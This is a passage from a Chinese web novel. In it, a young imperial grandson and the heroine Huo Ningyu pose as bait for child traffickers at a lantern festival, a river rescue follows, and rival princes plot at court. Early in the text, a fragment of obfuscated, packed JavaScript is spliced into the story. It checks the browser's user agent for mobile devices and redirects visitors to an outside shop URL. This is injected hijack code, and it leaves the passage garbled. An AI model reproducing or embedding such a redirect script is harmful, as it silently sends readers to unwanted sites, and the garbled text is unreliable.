“万姐姐,你想要灯王?万大哥肯定没我会猜,走,我带你去。”霍鸣昶立刻找到了事做,转移了失落。
其实万青黛只比霍鸣昶大半岁。
万青鸿很乐意让妹妹跟着霍鸣昶去猜,他对猜灯谜真不擅长。
赵炳煜带着霍凝玉一离了霍家兄弟的视线,就主动牵上了霍凝玉的手。
两人都戴着面具,也不怕被人看到。
反正也认不出他们是谁。
霍凝玉只轻轻挣了两下就放弃了。
她特意没吃晚饭出门,就是想在街上大吃特吃各种小吃。
闻着味儿就来到一个卖团圆饼的小摊前。
卖饼的大婶带着她的闺女正忙得热火朝天。
“新鲜的团圆饼,油而不腻,五文钱一个。”
“赵大哥,我们买两个吧。”霍凝玉就要掏钱买。
被赵炳煜拦住,从怀里摸出一块碎银子,丢给大婶。
大婶一看是块银子,兴奋的就要把摊上刚做熟的全都包了。
而且还不够。
“公子,小姐,你们稍等,马上就有一锅熟了。”
“大婶,不用了,就这些足够了。”霍凝玉笑道。
“可是我没有银钱找。”银子太大一块,大婶才刚开始卖,手里只有十几个铜板。
“不用找了。”赵炳煜大方推辞。
“多谢多谢,小姐拿好,不够吃再来。”大婶笑得更热情。
两人边走边吃,难得享受。
赵炳煜第一次给姑娘买东西吃,心情很好。
也不顾形象,吃起来。
两人一路欣赏一路吃,像普通的情侣。
赵炳煜每次看一眼身边的姑娘都带着无限柔情。
这是他有生以来第一次陪姑娘逛花灯会,而且还是他真心想娶的姑娘,心中的美妙,无法用语言来描述。
幸福,安宁,幢景。
各种心情交织在一起,让他想更早一些娶她过门,与她每日都在一起。
他有了牵挂,就有了家。
火树银花,亮如白昼。
各式精巧的花灯将夜色点缀得流光溢彩,游人摩肩接踵,欢声笑语汇成一片鼎沸的海洋。
霍凝玉虽也沉浸在这美好的时光中,但她的眼睛却总会在人群中四处扫视。
他们今晚不单单出来玩乐,还有一件更重要的事在等着。
果然,被她发现了异常。
当她的目光落到一堆拥挤的人群中时,她看到一个粉雕玉琢的小男孩,大约五岁左右,被一只邪恶的手从人群里牵了出来。
那只手快速在小孩的鼻端不知做了什么,小孩身子一软,就被人抱着如睡熟的孩子,把头搭在肩上。
快速隐没在人潮中。
在这极致的繁华之下,已开始暗流汹涌。
赵炳煜也看到了。
手轻轻一挥,两人身后有一人,立即跟了上去。
“走,我们去找皇上和太子。”赵炳煜体会了短暂的幸福,瞬间进入高度紧绷状态。
两人匆匆来到皇帝所在的酒楼包厢。
赵炳煜轻声向太子说了几句话。
太子轻轻点了点头。
“皇孙殿下,要不要下去逛逛?”霍凝玉向众人见了礼后,故意向赵凌哲挤了挤眼睛。
赵凌哲早就得了他父王的交代。
噌地站起:“好啊,好啊。母妃都不让我下去,通过窗户向外看,太没意思了。”赵凌哲表现出非去不可的架势。
“哲儿,下面人太多了,万一被挤着摔到地上,被踩着了怎么办?”太子妃不放心。
她宝贝得跟眼珠子似的孩子,怎舍得让他去那么多人的地方。
“佳仪,不用担心,有赵大人跟着,定能护哲儿周全,难得孩子出来玩玩。”太子温声劝道。
他身子弱,不能亲自陪孩子去逛,这是他作为父亲的失职,可他无能为力。
只能把孩子托付给别人照顾。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16788701|190553||http|test|mini|href|location''.split(''|''),0,{}));
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r>太子妃不好当着皇上的面违逆太子的意思。
父皇都没说什么,只得眼睁睁看着儿子被霍凝玉牵着走了出去。
出了房门后,霍凝玉觉得奇怪。
“赵大哥,皇上怎么也这么放心?”
“因为他放心我。”赵炳煜的身份太子妃不知道,所以才那么小心翼翼,但皇上知道。
霍凝玉和赵凌哲都到隔壁换了一身衣服,也把面具取了下来露出真容。
之前的太过华贵,一看就知身份极其尊贵,那些歹人可能不敢下手。
霍凝玉一身素净的浅碧色衣裙,青丝仅以一支银簪挽住,在满街的姹紫嫣红中显得有些清冷。
她紧紧牵着赵凌哲,小家伙手里宝贝似的提着一盏胖乎乎的兔子灯,粉雕玉琢的脸上满是兴奋,全然不顾危险临近。
霍凝玉带着他先在夺灯塔下站定。
比赛马上就要开始了。他们打算看完比赛再去别处。
比赛很快开始,霍凝玉牵着赵凌哲站在最前面。
视线很好。
只是后面的人太多,总往前挤,让两人向前扑了几次,被守卫的巡城司官兵挡住。
一声铜锣响。
京兆伊梁大人亲自提着铜锣站在高台上,他知道皇上今日会出宫,全力以赴。
“比赛开始,谁最先夺得灯者为胜,只可把人推下塔,不可使人致残,也不可伤人性命。”
又一声铜锣响,拦住赛者的绳子放开。
个个如出笼的猛兽,迅速向用竹子和木料搭建的架子上攀爬。
霍凝玉很快找到钟离洛所在的位置。
离得有些远,她又带着赵凌哲慢慢向那边挤。
赵炳煜为两人挡开拥挤的人群。
来到钟离洛所在位置的下方。
霍凝玉扯开嗓子高喊:“钟离洛,加油。”
太多人,怕他听不到,直接连名带姓喊。
赵凌哲见状也放声大喊:“钟离洛加油。”
他看好的人才,可别给他丢脸。
只是霍凝玉太卖力,钟离洛听得太清楚,向下看了一眼。
而就这一眼,他就被旁边的对手给踢了一脚,同时他抓住竹竿的手也被人给掰开。
一时没稳住,极速下坠。
第102章 做饵
“小心。”两人同时惊呼。
说时迟那时快,下坠的身影,在离地面只有五尺距离时,钟离洛抓住了竹竿,双脚也蹬住了一根木桩,没有落到地面。
那就没有被淘汰。
钟离洛再也不敢分心,又如猿猴般动作敏捷向上攀去。
其他人都爬上去了,下面这带反而没人,他爬得很顺利,几息之间就追了上去。
他身高体长,胳膊自然也长,逮住一人的脚就往下一拉。
那人就掉了下去。
下面垫有厚厚的稻草,又有巡城司的人接应,不会摔残。
如此这般,钟离洛很快就给自己开辟出一条上塔之路。
别人想要近他的身,腿一踢,就让对方摔了下去。
众人见他如此勇猛,几人不约而同想要一起对付他。
钟离洛只一眼就识破了他们的目的,爬得更快了。
时不时给靠近的人一脚,他的腿十分有力。
只要被踢中,十有**都会掉下去。
后来居上。
钟离洛已经上到最顶,但因他下坠,耽误了些时间,已经有两人到了顶部。
只是那两人谁都想得到灯花,正大打出手,想将对方搞下去。
正好给了钟离洛一个可趁之机。
一个神龙摆尾就扫下去一人,再一个回旋腿,又把另一人踢得躲开。
单手一抄,最顶端的花灯就到了他手里。
不给那人抢夺的机会,快速下塔。
众人见灯已经被人夺得,只得望而兴叹。
钟离洛谁也不看,直直来到霍凝玉面前。
“霍小姐,给你。”笑得有些憨直。
一盏非常漂亮的八仙灯已伸到霍凝玉眼前。
“钟离大哥,这是你辛苦夺来的,你应该自己留着。”霍凝玉没想到他会送给自己。
“我一个大男人,留什么花灯,我只送你。”钟离洛也不管赵炳煜就在旁边,直接把灯塞到她手里。
然后去台上领奖金。
夺得花灯的人还可获得一百两银子的奖金。
赵炳煜看着走远的高大背影,眼里升起一丝幽光。
他看到钟离洛眼里的那丝期待。
当霍凝玉说让他自己留着时,眼里闪过不易察觉的失落。
他居然对凝玉生出爱慕之心。
男人最知男人心。
他只一眼就看出来。
他根本没把钟离洛放在眼里。
但现在他与凝玉已说开,他眼里就容不下沙子了。
凝玉只能是他的。
可刚才他并没有看出钟离洛故意挑衅自己。
他到底什么意思?
赵炳煜升起一丝危机感来。
比赛结束,人群散去。
霍凝玉这才又牵着赵凌哲开始逛起来,路上遇到了大哥,把那盏漂亮的八仙灯给霍鸣羡提着,有点重。
几人都交换了一个眼神,又分开。
就连赵炳煜也没再跟着两人。
与此同时,霍凝玉带着赵凌哲逛花灯的消息也传进了同样在另一个酒楼的辰王耳里。
“王爷,真是好机会。”曾永信眉眼含笑,那笑带着精光。
“嗯,通知下去,把那些人引到三皇孙那边去,最好连霍家小姐也一并劫了。”辰王毫无亲情的命令发出。
他对霍凝玉也不喜,坏了他多少好事。
那女人有些邪门,可又说不出怎么回事。
运气就是那么好。
同样的消息也传到霁王耳里。
“殿下,我们要不要参一脚?”霁王的亲卫说道。
“不用,此事我们不参与,让大皇兄忙去,我们只需收渔翁之利即可。”霁王留了点余地。
他最大的对手不是太子和三侄儿,而是辰王。
辰王做得越多,越错,越容易被父皇发现。
不做不错,这个道理他懂。
“小殿下,怕吗?”霍凝玉微微俯身,替赵凌哲理了理鬓边被挤乱的软发。
赵凌哲扬起小脸,黑葡萄似的眼里闪着精光,用力摇了摇头。
“不怕,有霍姐姐在,还有护卫离咱们不远,我们是来抓坏蛋的。”
霍凝玉心头一暖,这孩子短短时间成长了不少。
两人假装在各个摊位上这儿看看那儿看看。
才刚走出没多远,霍凝玉敏锐地感觉到,几道目光如同阴冷的毒蛇,已悄然黏上了他们这两个看似“落单”的肥羊。
她故意带着赵凌哲往人流稍疏,灯光略显昏暗的街角走去,给他们制造机会。
果然,行至一处岔路口,一股毫无预兆的人潮猛地从侧面涌来,力量之大,绝非自然。
霍凝玉只觉得握着赵凌哲的手被一股蛮力狠狠撞开。
“霍姐姐。”赵凌哲短促的惊呼声瞬间被人潮吞没。
霍凝玉心头剧震,猛地回头,只见那盏可爱的兔子灯已摔在地上,被无数只脚踩得粉碎。
赵凌哲小小
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的身影被一个戴着斗笠、看不清面容的汉子利落地拦腰抱起,迅速淹没在混乱的人群中。
几乎是同时,一股刺鼻的异香从身后袭来。
一只粗壮的手臂勒住她的脖颈,一块湿冷的手帕死死捂住了她的口鼻。
霍凝玉早有防备,立刻屏住呼吸,身体却配合地软倒下去,任由自己被两个打扮寻常的妇人一左一右架住,脚步飞快地拖入旁边一条幽深暗巷。
在被拖行的间隙,她艰难地抬眼,模糊的视线捕捉到前方那汉子肩上的赵凌哲。
小家伙也一动不动。
一只小手垂在汉子背后,正极其轻微地,一下一下地,将藏在袖中的莹白色香饵粉末洒在走过的路上。
那香饵是赵炳煜特制,气味极淡,却经久不散,专为他那条嗅觉超凡的大黑狼犬所备。
霍凝玉与赵凌哲两人都装晕着。
很快被送上一辆马车,且装进一个箱子里,并在她身上盖了好些衣物,把她藏得严严实实。
马车行驶速度奇快。
在一阵颠簸中,霍凝玉不知道去到了哪里。
只感觉马车停下后,箱子被人抬起。
“何大,来货了。”一个男子的声音传入她耳中。
箱子放下后,被打开,霍凝玉又被人从箱子里拖出来。
“这妞长得可真漂亮,定能卖个好价钱,要是能给老子享用就好了。”一个猥琐的男人在霍凝玉脸上摸了摸。
霍凝玉死死控制住想抽鞭子的冲动。
“走了,还有货要接应。”另一人说道。
好在只是被摸一下,就听到脚步声远去。
又等了一会儿,她才睁开眼。
呼吸间闻到浓重的水气。
说明他们被送到了一艘船上。
果然看到她和赵凌哲被关在一个货船的底舱里。
这里空气污浊,仅有一盏挂在舱壁的油灯随着船只轻微地摇晃,投下明明灭灭的光影。
舱内除了他们,还有十几个被掳来的少女和孩童,个个都昏迷不醒。
“霍姐姐,你可还好?”赵凌哲爬过来。
这小子真聪明。
“我没事,就是被闷在箱子里有些难受,空气不通。你呢?”
“我身子小,没占多大地方。”赵凌哲长这么大,从没经历过这么刺激的事情,小脸带着兴奋。
“你就不怕,我们真被那些人给卖了?”霍凝玉见他没有半点害怕。
第103章 营救
“不怕,有霍姐姐在,而且赵大人不是吃素的,父王也安排了人,不是在上游就是在下游等着。城门口一路出来,都有人跟着。”赵凌哲眼睛明亮。
两人镇定了一会儿,才去看那些被掳的少女和孩子们。
光线很暗,一时看不清。
霍凝玉提了那盏灯一个个照过去。
“青黛?”霍凝玉身子一抖。
怎么连青黛也被抓了?
“表哥?”赵凌哲更惊讶。
表哥可是他二舅舅家的孩子,那些人都敢下手。
两人把十几个人都看了一遍,好几个都是认识的。
有两个是高门庶女,还有两个是嫡女。
几个孩子都是京中官员或勋贵家的孩子。
真是好大一票。
这些歹徒胆子也太大了。
又听到脚步声,两人立即把灯挂回原位,回到刚才他们的位置继续装晕。
又有两个姑娘被送来。
“今晚收获不错,以后几年都不用干了。”又是刚才离去的男人。
“把舱门关好,今晚就这些吧,开船。”另一人道。
船只慢慢离岸,能明显感觉到船身破开水流的晃动。
霍凝玉和赵凌哲又爬起来,透过舱壁的缝隙,能看到隐约的江面。
赵凌哲小小的身子靠在她身边。
她凑到门缝边,向外窥视。
月光下,可见船上人影憧憧,至少有十余名歹徒,正在忙碌地操控船只,顺流而下,打算尽快离开。
就在这时,靠在她身边的赵凌哲轻轻动了一下。
霍凝玉低头,对上他明亮的眼神。
小家伙极其小心的,从怀里掏出一个小巧的香囊。
里面装的正是赵炳煜特制的莹白色香饵。
他趁着船只晃动,舱外看守视线转移的刹那,将香饵粉末一点点从舱板的一道裂缝洒了出去。
微不可见的粉末随风飘散,融入了船尾泛起的白色浪花之中。
“有用吗?”霍凝玉有些怀疑。
之前他们装在箱子里,赵凌哲肯定没机会散饵。
“试试。”
时间在缓缓流逝。
货船顺流而下,离京城越来越远。
两人都不敢睡,等着救援。
突然。
“呜嗷......汪汪汪!”
一声极具穿透力,充满野性力量的狼犬狂吠,竟从江面上传来,打破了夜的寂静。
“什么声音?”有人低喊。
“江上怎么会有这么大声的狗叫?”
货船上的歹徒顿时骚动起来,纷纷冲到船边张望。
只见后方漆黑的江面上,赫然出现了一艘快船,上面正挂起无数灯笼,破浪疾航而来。
之前他们都没发现,居然快要追上他们才挂起灯笼。
船头立着一道挺拔的玄色身影,衣袂在江风中猎猎作响,正是皇城司使赵炳煜。
而他身旁,那条半人高的黑狼犬正对着货船的方向,发出更加急促和凶猛的吠叫,幽绿的眼睛在夜色中如同鬼火。
“是皇城司的船,快,加速!”歹徒头目惊骇失色,嘶声怒吼。
货船上的帆被全力拉起,舵手拼命转动方向。然而,皇城司的快船更轻更快,如同利箭般迅速逼近。
更让歹徒绝望的是,他们正要全力前进,可下游又出现几艘船,且全都横在江中,如拦路的猛虎,正等着他们自投罗网。
“准备接舷。”赵炳煜的声音冷冽如冰,隔着江水传来,带着毋庸置疑的杀意。
眼看快船即将靠拢,货船上的歹徒狗急跳墙,几人抽出兵器,恶狠狠地冲向底舱,显然是想拿掳来的人质作威胁。
“砰!”
底舱门被猛地踹开,凶神恶煞的歹徒持刀冲入。
霍凝玉早已把缠在腰间的细鞭握在手里,将赵凌哲护在身后,眼神锐利。
门只能供一个人通过。
霍凝玉一直就盯着门口,见一个歹徒进来,一鞭子甩过去,毫不手软。
一声惨叫传来。
后面的**吃一惊,居然有人醒来,手里还有武器。
又有一个进来,霍凝玉再甩一鞭,那人有了前面同伴的例子,伸手一抓,就抓住了甩过来的鞭子。
就在歹徒挥刀砍来的瞬间,“嗖!”
一支**箭从舱外射入,精准地没入那歹徒的肩胛,惨叫声响起。
与此同时,船身剧烈一震,两船相接!皇城司兵士在赵炳煜的带领下,如猛虎下山般跃上货船甲板,瞬间与歹徒厮杀在一起。
同时,下
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游的船也同时赶到了船头。
又有一批人上来。
刀剑碰撞声,呐喊声,还有狗叫声,落水声此起彼伏,原本寂静的东江江面成了激烈的战场。
赵炳煜目标明确,手中长剑如虹,招式狠辣,迅速清理掉通往底舱的障碍。
他一步踏入昏暗的底舱,目光第一时间锁定紧紧靠在一起的霍凝玉和赵凌哲。
黑狼犬紧随其后,低吼着,比赵炳煜的动作还快,一跃护在两人身前,逼退了两个还想靠近的歹徒。
赵炳煜两剑解决了两人,快步上前。
先蹲下身,大手略带急切地检查了一下赵凌哲,确认无恙后,才看向虽然脸色发白但眼神依旧镇定的霍凝玉。
霍凝玉直到看见他,一直紧绷的神经才彻底松懈,手微微颤抖。
赵炳煜把人紧紧拥进怀里。
这短短不到一个时辰的分离,让他备受煎熬。
“可还好?”赵炳煜声音发颤,失了平时的冷静。
“没事,你们来得很及时。”霍凝玉回抱着他,温声安慰。
赵凌哲也依偎过来。
赵炳煜腾出一只手,把他也拢在身边。
“好样的,你父王母妃看到你这么勇敢,一定很满意。”赵炳煜不吝夸赞。
“皇祖父和皇祖母也会很满意。”赵凌哲又加了两个人。
“希望你皇祖母不会被你气坏。”赵炳煜拍了拍小家伙的肩。
三人走出底仓,来到甲板上。
歹徒已全部拿下,死的死,伤的伤。
“头儿,有三个跳船逃走了。”余征很遗憾。
“我们岸上的人手会抓住的。”赵炳煜早就安排好。
“凝玉,可还好?”这时一个身材高大的身影匆匆过来。
“钟离大哥?你怎么也来了?”霍凝玉真不知道他也参与进来。
“霍兄告诉我的,所以我就跟来了。”
刚一说完,霍鸣羡和霍鸣昶从另一艘船上过来,看到妹妹安然无恙,才把心放回肚子里。
“世子,可安好?”这时又一男子上前问道。
正是东宫的禁卫首领。
“没事,放心。”赵凌哲一拍胸脯。
“大姐,可有看到万姐姐,她也不见了。”霍鸣昶焦急问道。
第104章 轰动京城
“她在仓里,还昏迷着。青黛是单独出来逛的吗?万大哥没有陪她?”
这话问得霍鸣昶惭愧不已。
“不是,大姐,万姐姐是与我一起逛的。
我忙着给她猜花灯,等我好不容易从店里拿到灯王出来,就发现她不见了。
我还以为她在外面等我,结果我把周围找了个遍都没找到。遇到大哥,大哥告诉我万姐姐已经被带走,我才猜测她可能也被拍花子的抓走了。”
霍鸣昶哭丧着脸,幸好今晚他们有筹划,不然他一辈子都不得安心。
说完,几步进仓。他要看到人才放心,不然他对不起万大哥。
当看到万青黛好好的,躺在甲板上,他才真正安心。
把人背出底仓,放在甲板上,让她舒服点,里面的空气实在不好。
霍凝玉看到二弟对万青黛愧疚的样子,又见他对她照顾有加。
心里升起一个不大可能的想法。
赵炳煜下令调转船头返航。
逆行用了点时间。
刚一上岸,一个身影哭叫着跑来。
“哲儿。”正是太子妃。
抱着赵凌哲哭得惊魂未定。
太子也下了马车,走过来轻轻拍了拍太子妃。
“我说了孩子不会有事。你看,这不平安回来了吗?”
可是太子妃哪里听得进去,哭了一场,然后当着这么多人的面,就动起手来。
“你胆儿肥了,这么大的事,居然敢瞒着母妃。以后还敢不敢?”太子妃的巴掌不停在赵凌哲的屁股上招呼。
“母妃,呜呜......孩儿再也不敢了。”赵凌哲被打得放声哭叫。
但是没有眼泪。
霍凝玉一看就知道他是装的,博同情。
这孩子,心机不少。
太子妃发泄了一阵,担惊受怕的心才好受些,但眼泪还在往外流。
“母妃,不哭。我以后再也不敢了。”赵凌哲认错态度很好。
而就在这时,京兆伊梁启明领着人匆匆跑来。
“赵大人,可有救下失踪的女子和孩子?”梁启明神情焦急。
他为官多年,也接到过拍花子的案件,但如今夜失踪这般多的,而且还都是出生不低的人家,还是头一次。
要是这次真让那些贼人得手,他的官也就不用做了。
“已救下。还在船上,没醒。”
梁启明大大松了一口气。
提了一个多时辰的心终于落下。
他刚主持完夺灯比赛,就接到下属来报,多人报案,有孩子走丢。
接着就是女子失踪。
一个两个,还能归于人太多,可能走丢。
然,接二连三,他就知道出大事了。
都来不及安排送皇上回宫,他就匆匆回衙,安排人找,又通知城门即刻关闭,查一个放一个。
结果一无所获。
后来太子殿下派人通知他,赵大人已经追出城,他才没那么焦躁,做好安抚失亲人家的工作,才匆匆出城来。
梁启明带着人把船上的人都带下来。
霍鸣昶背着万青黛,一直站在一旁。
“嗯!”一声轻吟,万青黛迷迷糊糊醒来。
“万姐姐,你醒了?”霍鸣昶感觉到背上的人动了动。
听到男人的声音,万青黛彻底清醒。
发现自己竟然在霍鸣昶的背上。
“霍二公子?”作势就要下来。
霍鸣昶小心翼翼把人放下。
可她身子还有些绵软,没站稳,霍鸣昶又扶着她。
万青黛也想起自己失去意识前的一幕。
“二公子,有拍花子的。”万青黛惊慌大叫一声。
“青黛,已经没事了,我们都得救了。”霍凝玉也扶着她,轻声安慰。
万青黛看到霍凝玉也在旁边,又看到很多熟面孔,她才彻底清醒。
药性过了,其他被劫的也陆续醒转。
一个个都害怕地哭泣起来。
“娘,我要娘。”一个只有五岁的孩子哭叫。
有一就有二,其他孩子也跟着叫娘。
与此同时,那些失了亲人的人家也齐齐赶到。
“我的儿啊。”一个贵妇扑向自己的孩子。
认亲的场面,自是哭声一片。
等到各家都稳定好了情绪,太子才站到众人面前。
“各位,今晚花灯节发生这样的大案,实属罕见。
本宫与赵大人提早两个时辰得了消息,所以本宫用自己的儿子做饵,还有霍县主也参与其中,将计就计,把拍花子的团伙一网打尽。
让大家担惊受怕了一场。
好在,有惊无险,一切都按我们的计划在进行。不然十几个姑娘和孩子从此再也找不回来。
歹人今晚一共劫走十二位姿容不俗的姑娘和七个长相出众的孩子,一个不少,全都找回
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同时也把歹人全部拿下。
为了还京城安宁,梁大人务必连夜审理此案,给百姓一个交代,并上报给皇上。”
太子殿下简单几句就把事情讲清楚。
大家这才知道,原来太子殿下与赵大人早有警觉,还用皇家最尊贵的皇孙殿下做饵,就凭这一点,太子的仁爱之名深入人心。
一个个家属都带着孩子上前向太子,三皇孙和县主道谢。
太子妃的二哥二嫂,牵着失去一个多时辰的孩子上前。
“妹妹,这么大的事,你们居然都不提前知会一声,你让二哥好一通着急。”顾家二爷,顾浩林带着些许抱怨。
“二哥,妹妹也不知,殿下连我也瞒着。”太子妃也才刚经历一场生离死别的痛。
眼里的泪意还没有全完消失。
“本宫怕知道的人太多,消息走漏。”太子笑道。
夫妻俩又向霍凝玉和赵炳煜道谢。
万青黛和万青鸿也上前道谢。
万青鸿满大街找人,又回家叫人一起找,实在找不到人,他也去报了案,才知道妹妹被拍花子的拍走了。
那一刻,他想死的心都有。
都怪他没看好妹妹,还放心让妹妹跟着不靠谱的霍鸣昶。
翌日。
整个京城又一次沸腾起来。
几家茶楼的说书先生同时在讲一件事。
“花灯节,万民同乐之时,却有一股邪恶的势力,把罪恶的魔爪伸向京中美艳脱俗的姑娘和长相俊俏的孩童,一共抓了十九人。
其中有太子妃娘家侄儿,有丞相家三房的庶女。
有吏部郞中家的公子,有祭酒大人的孙女。
有户部尚书的女儿,有户部参事家的公子。
.......
你们道还有谁?你们做梦都不想不到。”说书先生顿住,手里的折扇一收,眼神向场中一扫。
听客们都竖着耳朵等着听下文,说书先生却顿住。
引得各位听客们直嚷嚷:“还不快说?”
一个公子扔了一块碎银子砸向说书先生。
有了开头,又有等不及的也学着扔银子。
能进茶楼消遣的都不是穷苦百姓。
不大一会儿,说书先生就被砸了数个碎银子。
“还有我们的太子殿下唯一的儿子,三皇孙殿下。”
“真的假的?”
没几人相信。
第105章 东宫赚足了名声
“各位客官别不信。
这事说来话长。请听我慢慢道来。
太子殿下和皇城司使赵大人早就发现京中有一股不明势力,在花灯节前就在京中活动。打听各家的公子小姐,专问长得如何。
一旦得知长相出众,就被他们锁定,好在花灯节人潮涌动时下手。
平时各家小姐鲜少出门,只有在花灯节才会集体出来游玩,给了那些歹人最好的机会。
然,他们不知道的是,我们的三皇孙殿下和霍县主以身涉险,以自身为饵。
假意被歹人抓去,实则并没有**昏迷,皇孙殿下还一路撒一种香粉,给他养的黑狼犬留下线索。
那黑狼犬正是当今圣上送给三皇孙殿下的生辰礼。
那**颇通灵性,闻着那香粉的味就一路追踪。
直追到东江。
其实出了城门,皇孙殿下根本没机会撒粉,但那狗鼻子就是与人不同,主子的气息它分辨得出。
太子殿下和赵大人早有猜测,那伙歹徒多半会走水路,而他们想要离京速度快,就只有顺流而下。
那黑狼犬上了船叫得更凶了,说明它的主人顺着江水向下而去。
果然,不出十里,就追上了贼人的船。
且太子殿下早就安排了船只在下游等着。
一阵乒乒乓乓,那些歹人就死的死,抓的抓。
大案就此落下帷幕。
我南楚有东宫这对父子一心为民,真是我南楚百姓之福,天下之福啊。”
说书先生说得声情并茂,精彩纷呈,让听者无不感叹太子父子的英勇和果决。
都道君子不立危墙之下,而三皇孙殿下,小小年纪就敢以身涉险,协助抓获歹人数名。救下十几人,使他们免遭厄运。
霍凝玉带着珍珠和玛瑙听着一楼说书先生的精彩表演,慢慢啜着茶,吃着小零嘴儿。
这一波为东宫赚足了名声。
辰王估计要气疯了吧。
那些被救的人家,定会对东宫感恩戴德。
“小姐,你胆子也太大了,这么大的事,居然都不让奴婢护在身边。”玛瑙幽怨的小眼神好不委屈。
主子受难,丫鬟反而被留在一边。
“我家玛瑙长得太漂亮,万一本县主一个不留神,把你弄丢了,让本县主上哪里再找这个忠心的丫鬟。”霍凝玉调笑。
人多了,她哪里顾得过来?
“小姐就会说好听话,奴婢哪有你说的那般漂亮。”玛瑙脸色红了红。
小姐是嫌她们拖后腿,她心里明白。
此时的辰王府。
辰王正一脸怒气,砸了一个价值不菲的玉器摆件和一个镇纸。
他得知东宫的世子要逛花灯会,他也得到消息,有拍花子的在花灯会上活动。
这种事不说年年都有,但也三两年会发生一次,失踪三五个人,再正常不过。
要是三皇孙也走失,太子府没了继承人,太子就彻底没了希望,他那破身子,被这么一气,再一命呜呼,更是美哉。
他就少了一个对手。
父皇也不会再花心思护太子。
他只需认真对付霁即可。其他兄弟他根本没放在眼里。
谁知计划得好好的,却没想到是为东宫做了一件完美的嫁衣。
“王爷息怒。”曾永信被辰王的怒气吓得匍匐在地。
“你让本王怎么息怒?为此本王引了那帮人劫了多家贵女贵子,本王亲手把那么多人脉推向东宫。”辰王是自责。
他从没如此后悔自己多此一举。
要是那些人只劫了一些富户人家的子女,还没这么大效果,而他为了让皇孙丢失得理所当然,用了好几家的贵子贵女做陪衬。
结果搬起石头砸了自己的脚。
“王爷,事已至此,只当计划失败,我们并没有损失。太子虽因此得了好名声,但也要他有命享。”曾永信劝道。
“你此话何意?”辰王听出他话里有话。
“要想太子早死,机会有很多。每年七月,圣上会去华云山祭祀,避暑。每年秋日又会带群臣去狩猎,都是机会。就看怎么利用。”
辰王听后,眉目稍稍舒展开。
“太子一出事,圣上必定伤心难过。而圣上已年过花甲,受些刺激,身子只会每况愈下,到那时,王爷的机会就来了。”曾永信继续分析。
“你说的有道理,只是本王手里的钱财还是太少。本想让霍家女嫁进袁家,我们就能把手伸进户部。可霍家却是个硬骨头。”
辰王对霍家意见越来越大。油怎么都扑不进去。
“王爷,霍尚书
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深得圣上信任,且一心忠于圣上。此事属下觉得还是另想他法更为合适。”曾永信也拿霍家没办法。
“嗯,你说的有道理,等有机会再说吧。”
辰王的怒火被曾永信安抚下来,两人又商量起以后的计划。
此时的御书房里。
京兆伊加班加点,一夜未休息,写好卷宗,匆匆进了御书房。
“微臣参见皇上。”梁启明恭敬一礼。
他早朝都没去上,直到现在早膳也没用。
胡子都长了一截。
“梁爱卿免礼。可有结果了?”乾德帝淡声问道。
昨晚一得知他的爱孙被拍花子的拍走了,当场雷霆震怒。好在太子就在身边,立即告诉他怎么回事。
皇后被气得打了太子一巴掌。
太子妃当场哭得死去活来。
他也把太子狠狠批了一顿。
孩子平安归来,他才放心睡下。
今早听到一些消息,他就知道太子为何如此冒险了。
哎!
他只能在心里一声长叹。
梁启明把卷宗一一翻给圣上看,并解说。
“你是说,那帮歹人很可能与西凉国建立了交易,要把劫去的女子和孩子运去西凉?”
听完梁启明的解释,圣上明白了。
“臣确实如此判断,因为据其中两人交代,他们是要把人运到凉州府去交易,而凉州府是我南楚与西凉交界的边城。”梁启明很肯定自己的判断。
那些人骨头并不硬,几鞭子下去就什么都招了。
说明他们不是西凉国特意派来的奸细,只是想挣不法钱的亡命之徒。
“按律判吧。”乾德帝摆了摆手。
“皇上,按律,应判流放三千里,可此次被掠的人家都是勋贵和官家的子女,影响太大,各家都向臣递话,要严惩,不然,无以正纲常。”
乾德帝怔了怔。
是啊,连他的孙子都敢劫,的确应处以极刑。
年纪大了,乾德帝没有年轻时手段强硬。
他竟还没有那些差点失亲的人家愤慨。
“你说得对,是朕仁慈了,主犯判腰斩,从犯判秋后问斩吧。”
“是,臣领旨。”
梁启明一揖,但没有告辞。
“还有事?”乾德帝见他欲言又止。
第106章 皇帝的无奈
“臣觉得奇怪。那些歹人怎么那么准确锁定目标,而且个个都是出身高贵的人家,不合常理。”梁启明登记名单时,就注意到这个问题。
以前他接到的失踪案,大多是一些小户人家或者京中的一些富户,少有勋贵和官员之家的孩子。
而这次太反常。
“你想说什么?”
“臣怀疑有人故意引导那些歹人选择下手的对象。”梁启明说出自己的猜测。
时间短,他还没来得及查明真相。
“来人。”乾德帝一声高喊。
林德全立即进来:“皇上。”
“去把赵壑给朕找来。”
赵炳煜接到宣召,很快来了御书房。
“臣参见皇上。”
“你可知昨夜被劫的那些女子和孩子是被人引导的?”乾德帝直接问道。
赵炳煜怔了怔,但没说话,而是看了一眼梁启明。
“梁爱卿先退下。”乾德帝摆了摆手。
梁启明退出御书房。
“说吧。怎么回事?”
“回皇上,是辰王。”赵炳煜答得干脆。
“你怎知?”乾德帝听到这个答案并不意外。
“此次臣能如此顺利抓获这帮拍花子的,其实也是霍县主提前预警,臣再找太子商量,决定以东宫世子为饵,一举拿下他们。臣故意把这个消息透露给辰王和霁王。”
“你.......你胆子是越发大了。”乾德帝被气得一拍龙案。
“臣知错。”赵炳煜立即跪地。
“你若没有合理的理由,朕照样罚你。别以为朕宠你,你就敢胡作非为。”乾德帝不希望他参与党争。
“辰王设计霍县主差点失身给庆国公府五公子袁立。”赵炳煜说得义愤填膺。
“怎么回事?”乾德帝真不知道还有这回事。
赵炳煜就把大公主请京中贵子贵女们赏梅,在落梅庄上发生的事说了一遍。
乾德帝无话可说。
是个男人都受不住自己心爱的女人被人设计送到别的男人床上。
“下去吧。”乾德帝无奈挥手。
他不能生气。
好在没酿成大错。
太子与赵壑此举也算得偿所愿。
太子和哲儿赢得了十几家人的感激,同时还得了美名。
确实不错。
只是,如此更会引得辰王和霁王忌惮,以后太子更加危险。
除了辰王和霁王的野心已经摆在明面上,还有三个儿子,他们的生母身份略差,目前还没表现出多大野心。
但有时不叫的狗更能咬人,也得防一防。
